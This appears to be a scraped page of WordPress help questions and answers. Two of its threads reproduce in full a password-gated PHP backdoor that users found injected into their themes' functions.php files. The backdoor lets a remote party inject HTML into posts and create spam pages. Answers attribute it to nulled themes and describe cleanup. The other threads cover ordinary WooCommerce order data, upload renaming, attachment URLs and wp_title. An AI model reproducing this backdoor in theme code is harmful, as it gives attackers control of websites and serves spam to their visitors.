WordPress - an unknown code appears in function.php - wordpress

Recently when I am working on my theme, I got a warning. When I tried to fix it I realize that in function.php there is a unknown code. I have 9 themes in themes directory, and in all 9 functions.php exist that unknown code. Does someone know how it can appear. The website is not online yet. I'm working on my local.
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '117c3f294ee80873d833d9e03f417ed0'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?>

It seems like you are using nulled plugin(s) and/or theme.
Steps taken to clean your development site:
deletes all core files
uploaded new core files downloaded from wordpress.org
reinstalled all plugins
ran a scan with sucuri security plugin
Please be careful downloading what is called nulled plugins. The can ruin your site. Only download and use plugins/themes from trusted sources.

Related

Woocommerce To Get New Order Information [duplicate]

In WooCommerce from the following line code:
$order = new WC_Order( $order_id );
How can I get WooCommerce order details from the order ID?
WOOCOMMERCE ORDERS IN VERSION 3.0+
Since Woocommerce mega major Update 3.0+ things have changed quite a lot:
For WC_Order Object, properties can't be accessed directly anymore as before and will throw some errors.
New WC_Order and WC_Abstract_Order getter and setter methods are now required on the WC_Order object instance.
Also, there are some New classes for Order items:
WC_Order_Item class,
WC_Order_Item_Product class,
WC_Order_Item_Tax class,
WC_Order_Item_Shipping class,
WC_Order_Item_Coupon class,
WC_Order_Item_Fee class.
Additionally, WC_Data Abstract class allow to access Order and order items data using get_data(), get_meta_data() and get_meta() methods.
Related:
• How to get Customer details from Order in WooCommerce?
• Get Order items and WC_Order_Item_Product in WooCommerce 3
So the Order items properties will not be accessible as before in a foreach loop and you will have to use these specific getter and setter methods instead.
Using some WC_Order and WC_Abstract_Order methods (example):
// Get an instance of the WC_Order object (same as before)
$order = wc_get_order( $order_id );
$order_id = $order->get_id(); // Get the order ID
$parent_id = $order->get_parent_id(); // Get the parent order ID (for subscriptions…)
$user_id = $order->get_user_id(); // Get the costumer ID
$user = $order->get_user(); // Get the WP_User object
$order_status = $order->get_status(); // Get the order status (see the conditional method has_status() below)
$currency = $order->get_currency(); // Get the currency used
$payment_method = $order->get_payment_method(); // Get the payment method ID
$payment_title = $order->get_payment_method_title(); // Get the payment method title
$date_created = $order->get_date_created(); // Get date created (WC_DateTime object)
$date_modified = $order->get_date_modified(); // Get date modified (WC_DateTime object)
$billing_country = $order->get_billing_country(); // Customer billing country
// ... and so on ...
For order status as a conditional method (where "the_targeted_status" need to be defined and replaced by an order status to target a specific order status):
if ( $order->has_status('completed') ) {
// Do something
}
Get and access to the order data properties (in an array of values):
// Get an instance of the WC_Order object
$order = wc_get_order( $order_id );
$order_data = $order->get_data(); // The Order data
$order_id = $order_data['id'];
$order_parent_id = $order_data['parent_id'];
$order_status = $order_data['status'];
$order_currency = $order_data['currency'];
$order_version = $order_data['version'];
$order_payment_method = $order_data['payment_method'];
$order_payment_method_title = $order_data['payment_method_title'];
$order_payment_method = $order_data['payment_method'];
$order_payment_method = $order_data['payment_method'];
## Creation and modified WC_DateTime Object date string ##
// Using a formated date ( with php date() function as method)
$order_date_created = $order_data['date_created']->date('Y-m-d H:i:s');
$order_date_modified = $order_data['date_modified']->date('Y-m-d H:i:s');
// Using a timestamp ( with php getTimestamp() function as method)
$order_timestamp_created = $order_data['date_created']->getTimestamp();
$order_timestamp_modified = $order_data['date_modified']->getTimestamp();
$order_discount_total = $order_data['discount_total'];
$order_discount_tax = $order_data['discount_tax'];
$order_shipping_total = $order_data['shipping_total'];
$order_shipping_tax = $order_data['shipping_tax'];
$order_total = $order_data['total'];
$order_total_tax = $order_data['total_tax'];
$order_customer_id = $order_data['customer_id']; // ... and so on
## BILLING INFORMATION:
$order_billing_first_name = $order_data['billing']['first_name'];
$order_billing_last_name = $order_data['billing']['last_name'];
$order_billing_company = $order_data['billing']['company'];
$order_billing_address_1 = $order_data['billing']['address_1'];
$order_billing_address_2 = $order_data['billing']['address_2'];
$order_billing_city = $order_data['billing']['city'];
$order_billing_state = $order_data['billing']['state'];
$order_billing_postcode = $order_data['billing']['postcode'];
$order_billing_country = $order_data['billing']['country'];
$order_billing_email = $order_data['billing']['email'];
$order_billing_phone = $order_data['billing']['phone'];
## SHIPPING INFORMATION:
$order_shipping_first_name = $order_data['shipping']['first_name'];
$order_shipping_last_name = $order_data['shipping']['last_name'];
$order_shipping_company = $order_data['shipping']['company'];
$order_shipping_address_1 = $order_data['shipping']['address_1'];
$order_shipping_address_2 = $order_data['shipping']['address_2'];
$order_shipping_city = $order_data['shipping']['city'];
$order_shipping_state = $order_data['shipping']['state'];
$order_shipping_postcode = $order_data['shipping']['postcode'];
$order_shipping_country = $order_data['shipping']['country'];
Get the order items and access the data with WC_Order_Item_Product and WC_Order_Item methods:
// Get an instance of the WC_Order object
$order = wc_get_order($order_id);
// Iterating through each WC_Order_Item_Product objects
foreach ($order->get_items() as $item_key => $item ):
## Using WC_Order_Item methods ##
// Item ID is directly accessible from the $item_key in the foreach loop or
$item_id = $item->get_id();
## Using WC_Order_Item_Product methods ##
$product = $item->get_product(); // Get the WC_Product object
$product_id = $item->get_product_id(); // the Product id
$variation_id = $item->get_variation_id(); // the Variation id
$item_type = $item->get_type(); // Type of the order item ("line_item")
$item_name = $item->get_name(); // Name of the product
$quantity = $item->get_quantity();
$tax_class = $item->get_tax_class();
$line_subtotal = $item->get_subtotal(); // Line subtotal (non discounted)
$line_subtotal_tax = $item->get_subtotal_tax(); // Line subtotal tax (non discounted)
$line_total = $item->get_total(); // Line total (discounted)
$line_total_tax = $item->get_total_tax(); // Line total tax (discounted)
## Access Order Items data properties (in an array of values) ##
$item_data = $item->get_data();
$product_name = $item_data['name'];
$product_id = $item_data['product_id'];
$variation_id = $item_data['variation_id'];
$quantity = $item_data['quantity'];
$tax_class = $item_data['tax_class'];
$line_subtotal = $item_data['subtotal'];
$line_subtotal_tax = $item_data['subtotal_tax'];
$line_total = $item_data['total'];
$line_total_tax = $item_data['total_tax'];
// Get data from The WC_product object using methods (examples)
$product = $item->get_product(); // Get the WC_Product object
$product_type = $product->get_type();
$product_sku = $product->get_sku();
$product_price = $product->get_price();
$stock_quantity = $product->get_stock_quantity();
endforeach;
So using get_data() method allow us to access to the protected data (associative array mode) …
ONLY FOR WOOCOMMERCE VERSIONS 2.5.x AND 2.6.x
For WOOCOMMERCE VERSION 3.0+ see THIS UPDATE
Here is a custom function I have made, to make the things clear for you, related to get the data of an order ID. You will see all the different RAW outputs you can get and how to get the data you need…
Using print_r() function (or var_dump() function too) allow to output the raw data of an object or an array.
So first I output this data to show the object or the array hierarchy. Then I use different syntax depending on the type of that variable (string, array or object) to output the specific data needed.
IMPORTANT: With $order object you can use most of WC_order or WC_Abstract_Order methods (using the object syntax)…
Here is the code:
function get_order_details($order_id){
// 1) Get the Order object
$order = wc_get_order( $order_id );
// OUTPUT
echo '<h3>RAW OUTPUT OF THE ORDER OBJECT: </h3>';
print_r($order);
echo '<br><br>';
echo '<h3>THE ORDER OBJECT (Using the object syntax notation):</h3>';
echo '$order->order_type: ' . $order->order_type . '<br>';
echo '$order->id: ' . $order->id . '<br>';
echo '<h4>THE POST OBJECT:</h4>';
echo '$order->post->ID: ' . $order->post->ID . '<br>';
echo '$order->post->post_author: ' . $order->post->post_author . '<br>';
echo '$order->post->post_date: ' . $order->post->post_date . '<br>';
echo '$order->post->post_date_gmt: ' . $order->post->post_date_gmt . '<br>';
echo '$order->post->post_content: ' . $order->post->post_content . '<br>';
echo '$order->post->post_title: ' . $order->post->post_title . '<br>';
echo '$order->post->post_excerpt: ' . $order->post->post_excerpt . '<br>';
echo '$order->post->post_status: ' . $order->post->post_status . '<br>';
echo '$order->post->comment_status: ' . $order->post->comment_status . '<br>';
echo '$order->post->ping_status: ' . $order->post->ping_status . '<br>';
echo '$order->post->post_password: ' . $order->post->post_password . '<br>';
echo '$order->post->post_name: ' . $order->post->post_name . '<br>';
echo '$order->post->to_ping: ' . $order->post->to_ping . '<br>';
echo '$order->post->pinged: ' . $order->post->pinged . '<br>';
echo '$order->post->post_modified: ' . $order->post->post_modified . '<br>';
echo '$order->post->post_modified_gtm: ' . $order->post->post_modified_gtm . '<br>';
echo '$order->post->post_content_filtered: ' . $order->post->post_content_filtered . '<br>';
echo '$order->post->post_parent: ' . $order->post->post_parent . '<br>';
echo '$order->post->guid: ' . $order->post->guid . '<br>';
echo '$order->post->menu_order: ' . $order->post->menu_order . '<br>';
echo '$order->post->post_type: ' . $order->post->post_type . '<br>';
echo '$order->post->post_mime_type: ' . $order->post->post_mime_type . '<br>';
echo '$order->post->comment_count: ' . $order->post->comment_count . '<br>';
echo '$order->post->filter: ' . $order->post->filter . '<br>';
echo '<h4>THE ORDER OBJECT (again):</h4>';
echo '$order->order_date: ' . $order->order_date . '<br>';
echo '$order->modified_date: ' . $order->modified_date . '<br>';
echo '$order->customer_message: ' . $order->customer_message . '<br>';
echo '$order->customer_note: ' . $order->customer_note . '<br>';
echo '$order->post_status: ' . $order->post_status . '<br>';
echo '$order->prices_include_tax: ' . $order->prices_include_tax . '<br>';
echo '$order->tax_display_cart: ' . $order->tax_display_cart . '<br>';
echo '$order->display_totals_ex_tax: ' . $order->display_totals_ex_tax . '<br>';
echo '$order->display_cart_ex_tax: ' . $order->display_cart_ex_tax . '<br>';
echo '$order->formatted_billing_address->protected: ' . $order->formatted_billing_address->protected . '<br>';
echo '$order->formatted_shipping_address->protected: ' . $order->formatted_shipping_address->protected . '<br><br>';
echo '- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br><br>';
// 2) Get the Order meta data
$order_meta = get_post_meta($order_id);
echo '<h3>RAW OUTPUT OF THE ORDER META DATA (ARRAY): </h3>';
print_r($order_meta);
echo '<br><br>';
echo '<h3>THE ORDER META DATA (Using the array syntax notation):</h3>';
echo '$order_meta[_order_key][0]: ' . $order_meta[_order_key][0] . '<br>';
echo '$order_meta[_order_currency][0]: ' . $order_meta[_order_currency][0] . '<br>';
echo '$order_meta[_prices_include_tax][0]: ' . $order_meta[_prices_include_tax][0] . '<br>';
echo '$order_meta[_customer_user][0]: ' . $order_meta[_customer_user][0] . '<br>';
echo '$order_meta[_billing_first_name][0]: ' . $order_meta[_billing_first_name][0] . '<br><br>';
echo 'And so on ……… <br><br>';
echo '- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br><br>';
// 3) Get the order items
$items = $order->get_items();
echo '<h3>RAW OUTPUT OF THE ORDER ITEMS DATA (ARRAY): </h3>';
foreach ( $items as $item_id => $item_data ) {
echo '<h4>RAW OUTPUT OF THE ORDER ITEM NUMBER: '. $item_id .'): </h4>';
print_r($item_data);
echo '<br><br>';
echo 'Item ID: ' . $item_id. '<br>';
echo '$item_data["product_id"] <i>(product ID)</i>: ' . $item_data['product_id'] . '<br>';
echo '$item_data["name"] <i>(product Name)</i>: ' . $item_data['name'] . '<br>';
// Using get_item_meta() method
echo 'Item quantity <i>(product quantity)</i>: ' . $order->get_item_meta($item_id, '_qty', true) . '<br><br>';
echo 'Item line total <i>(product quantity)</i>: ' . $order->get_item_meta($item_id, '_line_total', true) . '<br><br>';
echo 'And so on ……… <br><br>';
echo '- - - - - - - - - - - - - <br><br>';
}
echo '- - - - - - E N D - - - - - <br><br>';
}
Code goes in function.php file of your active child theme (or theme) or also in any plugin file.
Usage (if your order ID is 159 for example):
get_order_details(159);
This code is tested and works.
Updated code on November 21, 2016
Accessing direct properties and related are explained
// Get an instance of the WC_Order object
$order = wc_get_order($order_id);
$order_data = array(
'order_id' => $order->get_id(),
'order_number' => $order->get_order_number(),
'order_date' => date('Y-m-d H:i:s', strtotime(get_post($order->get_id())->post_date)),
'status' => $order->get_status(),
'shipping_total' => $order->get_total_shipping(),
'shipping_tax_total' => wc_format_decimal($order->get_shipping_tax(), 2),
'fee_total' => wc_format_decimal($fee_total, 2),
'fee_tax_total' => wc_format_decimal($fee_tax_total, 2),
'tax_total' => wc_format_decimal($order->get_total_tax(), 2),
'cart_discount' => (defined('WC_VERSION') && (WC_VERSION >= 2.3)) ? wc_format_decimal($order->get_total_discount(), 2) : wc_format_decimal($order->get_cart_discount(), 2),
'order_discount' => (defined('WC_VERSION') && (WC_VERSION >= 2.3)) ? wc_format_decimal($order->get_total_discount(), 2) : wc_format_decimal($order->get_order_discount(), 2),
'discount_total' => wc_format_decimal($order->get_total_discount(), 2),
'order_total' => wc_format_decimal($order->get_total(), 2),
'order_currency' => $order->get_currency(),
'payment_method' => $order->get_payment_method(),
'shipping_method' => $order->get_shipping_method(),
'customer_id' => $order->get_user_id(),
'customer_user' => $order->get_user_id(),
'customer_email' => ($a = get_userdata($order->get_user_id() )) ? $a->user_email : '',
'billing_first_name' => $order->get_billing_first_name(),
'billing_last_name' => $order->get_billing_last_name(),
'billing_company' => $order->get_billing_company(),
'billing_email' => $order->get_billing_email(),
'billing_phone' => $order->get_billing_phone(),
'billing_address_1' => $order->get_billing_address_1(),
'billing_address_2' => $order->get_billing_address_2(),
'billing_postcode' => $order->get_billing_postcode(),
'billing_city' => $order->get_billing_city(),
'billing_state' => $order->get_billing_state(),
'billing_country' => $order->get_billing_country(),
'shipping_first_name' => $order->get_shipping_first_name(),
'shipping_last_name' => $order->get_shipping_last_name(),
'shipping_company' => $order->get_shipping_company(),
'shipping_address_1' => $order->get_shipping_address_1(),
'shipping_address_2' => $order->get_shipping_address_2(),
'shipping_postcode' => $order->get_shipping_postcode(),
'shipping_city' => $order->get_shipping_city(),
'shipping_state' => $order->get_shipping_state(),
'shipping_country' => $order->get_shipping_country(),
'customer_note' => $order->get_customer_note(),
'download_permissions' => $order->is_download_permitted() ? $order->is_download_permitted() : 0,
);
Additional details
$line_items_shipping = $order->get_items('shipping');
foreach ($line_items_shipping as $item_id => $item) {
if (is_object($item)) {
if ($meta_data = $item->get_formatted_meta_data('')) :
foreach ($meta_data as $meta_id => $meta) :
if (in_array($meta->key, $line_items_shipping)) {
continue;
}
// html entity decode is not working preoperly
$shipping_items[] = implode('|', array('item:' . wp_kses_post($meta->display_key), 'value:' . str_replace('×', 'X', strip_tags($meta->display_value))));
endforeach;
endif;
}
}
//get fee and total
$fee_total = 0;
$fee_tax_total = 0;
foreach ($order->get_fees() as $fee_id => $fee) {
$fee_items[] = implode('|', array(
'name:' . html_entity_decode($fee['name'], ENT_NOQUOTES, 'UTF-8'),
'total:' . wc_format_decimal($fee['line_total'], 2),
'tax:' . wc_format_decimal($fee['line_tax'], 2),
));
$fee_total += $fee['line_total'];
$fee_tax_total += $fee['line_tax'];
}
// get tax items
foreach ($order->get_tax_totals() as $tax_code => $tax) {
$tax_items[] = implode('|', array(
'rate_id:'.$tax->id,
'code:' . $tax_code,
'total:' . wc_format_decimal($tax->amount, 2),
'label:'.$tax->label,
'tax_rate_compound:'.$tax->is_compound,
));
}
// add coupons
foreach ($order->get_items('coupon') as $_ => $coupon_item) {
$coupon = new WC_Coupon($coupon_item['name']);
$coupon_post = get_post((WC()->version < '2.7.0') ? $coupon->id : $coupon->get_id());
$discount_amount = !empty($coupon_item['discount_amount']) ? $coupon_item['discount_amount'] : 0;
$coupon_items[] = implode('|', array(
'code:' . $coupon_item['name'],
'description:' . ( is_object($coupon_post) ? $coupon_post->post_excerpt : '' ),
'amount:' . wc_format_decimal($discount_amount, 2),
));
}
foreach ($order->get_refunds() as $refunded_items){
$refund_items[] = implode('|', array(
'amount:' . $refunded_items->get_amount(),
'reason:' . $refunded_items->get_reason(),
'date:'. date('Y-m-d H-i-s',strtotime((WC()->version < '2.7.0') ? $refunded_items->date_created : $refunded_items->get_date_created())),
));
}
You can get all details by order object.
// Get $order object from order ID
$order = wc_get_order( $order_id );
// Now you have access to (see above)...
if ( $order ) {
// Get Order ID and Key
$order->get_id();
$order->get_order_key();
// Get Order Totals $0.00
$order->get_formatted_order_total();
$order->get_cart_tax();
$order->get_currency();
$order->get_discount_tax();
$order->get_discount_to_display();
$order->get_discount_total();
$order->get_fees();
$order->get_formatted_line_subtotal();
$order->get_shipping_tax();
$order->get_shipping_total();
$order->get_subtotal();
$order->get_subtotal_to_display();
$order->get_tax_location();
$order->get_tax_totals();
$order->get_taxes();
$order->get_total();
$order->get_total_discount();
$order->get_total_tax();
$order->get_total_refunded();
$order->get_total_tax_refunded();
$order->get_total_shipping_refunded();
$order->get_item_count_refunded();
$order->get_total_qty_refunded();
$order->get_qty_refunded_for_item();
$order->get_total_refunded_for_item();
$order->get_tax_refunded_for_item();
$order->get_total_tax_refunded_by_rate_id();
$order->get_remaining_refund_amount();
}
Using wp/wc rest api :
$request = new WP_REST_Request('GET', '/wc/v3/orders/<YOUR_ORDER_ID');
$response = rest_do_request($request);
$server = rest_get_server();
$order = $server->response_to_data($response, false);
print_r( $order['id'] );
print_r( $order['date_created'] );
print_r( $order['status'] );
...
sources: https://wpscholar.com/blog/internal-wp-rest-api-calls/ , https://developer.wordpress.org/rest-api/reference/posts/#list-posts
$order = new WC_Order(get_query_var('order-received'));

Want to know the reason that the functions.php of WordPress theme was hacked

Seniors.
I found all the WordPress themes on my server were hacked. The functions.php was automatic modified and the following codes was added into the functions.php, what is that? Is there any way to find out the bug? Thanks
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f1d2299e....fe9f82032985c905'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?>
It looks like it's rewriting all content on every page of your site, but only when someone logs in with the password it references.
Then it injects html tags into the page content.
Why? I would suggest this is so that they can rip content from your site by looking for the new markup and grabbing the html within those tags. Specifically they seem to be trying to get lists of all the links on your pages.

Rename file while uploading?

I have the following code in my Wordpress. I need to add every uploaded image a counting number like, image_1, image_2, image_3 and so on..
The purpose of this is that every uploaded image attached to post, gets post ID name, and counting number in end to it.
It would be great if some one help me with this. Thanks!
<?php
add_filter('wp_handle_upload_prefilter', 'wpse_25894_handle_upload_prefilter');
add_filter('wp_handle_upload', 'wpse_25894_handle_upload');
function wpse_25894_handle_upload_prefilter( $file )
{
add_filter('upload_dir', 'wpse_25894_custom_upload_dir');
return $file;
}
function wpse_25894_handle_upload( $fileinfo )
{
remove_filter('upload_dir', 'wpse_25894_custom_upload_dir');
return $fileinfo;
}
function wpse_25894_custom_upload_dir($path)
{
/*
* Determines if uploading from inside a post/page/cpt - if not, default Upload folder is used
*/
$use_default_dir = ( isset($_REQUEST['post_id'] ) && $_REQUEST['post_id'] == 0 ) ? true : false;
if( !empty( $path['error'] ) || $use_default_dir )
return $path; //error or uploading not from a post/page/cpt
/*
* Save uploads in ID based folders
*
*/
$customdir = '/' . $_REQUEST['post_id'];
$path['path'] = str_replace($path['subdir'], '', $path['path']); //remove default subdir (year/month)
$path['url'] = str_replace($path['subdir'], '', $path['url']);
$path['subdir'] = $customdir;
$path['path'] .= $customdir;
$path['url'] .= $customdir;
return $path;
}
// The filter runs when resizing an image to make a thumbnail or intermediate size.
add_filter( 'image_make_intermediate_size', 'wpse_123240_rename_intermediates' );
function wpse_123240_rename_intermediates( $image ) {
// Split the $image path into directory/extension/name
$info = pathinfo($image);
$dir = $info['dirname'] . '/';
$ext = '.' . $info['extension'];
$name = wp_basename( $image, "$ext" );
// Get image information
// Image edtor is used for this
$img = wp_get_image_editor( $image );
// Build our new image name
$postid = $_REQUEST['post_id'];
$random = rand(1,5);
$new_name = $dir . $postid . '_' . $random . $ext;
// Rename the intermediate size
$did_it = rename( $image, $new_name );
// Renaming successful, return new name
if( $did_it )
return $new_name;
return $image;
}
?>
Now this code generates images named postid_randomnumber.jpg
I just need to add 20 images at maximum, so if I can have numbers from 1-20, that is also working fine with my purposes.
-- UPDATE --
I canged the last part of code to this, it is not maybe the cleanest solution, but it works:
function wpse_123240_rename_intermediates( $image )
{
// Split the $image path into directory/extension/name
$info = pathinfo($image);
$dir = $info['dirname'] . '/';
$ext = '.' . $info['extension'];
$name = wp_basename( $image, "$ext" );
// Get image information
// Image edtor is used for this
$img = wp_get_image_editor( $image );
//$count = get_option( 'wpa59168_counter', 1 );
// Build our new image name
$postid = $_REQUEST['post_id'];
$increment = 1;
$new_name = $dir . $postid . '_1' . $ext;
while(is_file($new_name)) {
$increment++;
$new_name = $dir . $postid . '_' . $increment . $ext;
}
// Rename the intermediate size
$did_it = rename( $image, $new_name );
// Renaming successful, return new name
if( $did_it )
return $new_name;
return $image;
}

Getting the attachment URL instead of the ID (Wordpress)

I have a script that allows me to upload an image to wordpress from the front end. I then need it to post the file to the post_meta. Right now it's working fine, BUT I end up with the Attachment ID and need the LINK to the file.
Here's the code that is handling this particular function.
if ($_FILES) {
foreach ($_FILES as $k => $v) {
if ($k != 'poster_has_paid' && $k != 'featured_image') {
if ($_FILES[$k]) {
wpo_poster_insert_attachment($k, $post_id, false, $k);
}
}
}
}
And here is the function wpo_poster_insert_attachment
function wpo_poster_insert_attachment($file_handler, $post_id, $setthumb = 'false', $post_meta = '') {
// check to make sure its a successful upload
if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) {
__return_false();
}
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
require_once(ABSPATH . "wp-admin" . '/includes/media.php');
$attach_id = media_handle_upload($file_handler, $post_id);
if ($setthumb) {
update_post_meta($post_id, '_thumbnail_id', $attach_id);
}
if (!$setthumb && $post_meta != '') {
update_post_meta($post_id, $post_meta, $attach_id);
}
return $attach_id;
Again, it's updating the field with the attach_id, and I'd like it to update the attach_url
PS I will give thanks when I have enough posts to do so. Thanks in advance.
Something like this should work
function wpo_poster_insert_attachment($file_handler,$post_id,$setthumb='false', $post_meta = '') {
// check to make sure its a successful upload
if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false();
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
require_once(ABSPATH . "wp-admin" . '/includes/media.php');
$attach_id = media_handle_upload( $file_handler, $post_id );
if ($setthumb) {
update_post_meta($post_id,'_thumbnail_id',$attach_id);
// Get the attachment/thumbnail source, and add it to the post meta as well.
$src = wp_get_attachment_image_src($thumbnail_id, 'full');
update_post_meta($post_id,'_thumbnail_src', #$src[0]);
}
if(!$setthumb && $post_meta!=''){
update_post_meta($post_id, $post_meta, $attach_id);
}
return $attach_id;
}
But normally, since you already have the thumbnail_id stored in the post meta, you might want to pull the attachment source at run-time:
if($thumbnail_id = get_post_meta($post->ID, '_thumbnail_id', true)) {
$attachment_size = 'full';
$src = wp_get_attachment_image_src($thumbnail_id, $attachment_size);
if(!$src) {
$src = array('http://mysite.com/path/to/default-image.png', 640, 480);
}
echo '<img src="'.esc_url($src[0]).'" alt="" />';
}

Wordpress wp_title () function not working for Yootheme template with Warp Framework

I am using a Yootheme template for my wordpress site http://sribasu.com
The theme is built on Warp Framework. My theme's head.php file prints page title after concatinating bloginfo name and wp_title ().
Unfortunately, the wp_title () function is not generating any output. As a result all my inner pages and blog post pages are having same title as homepage. Is there any issue with warp framework when using this function?
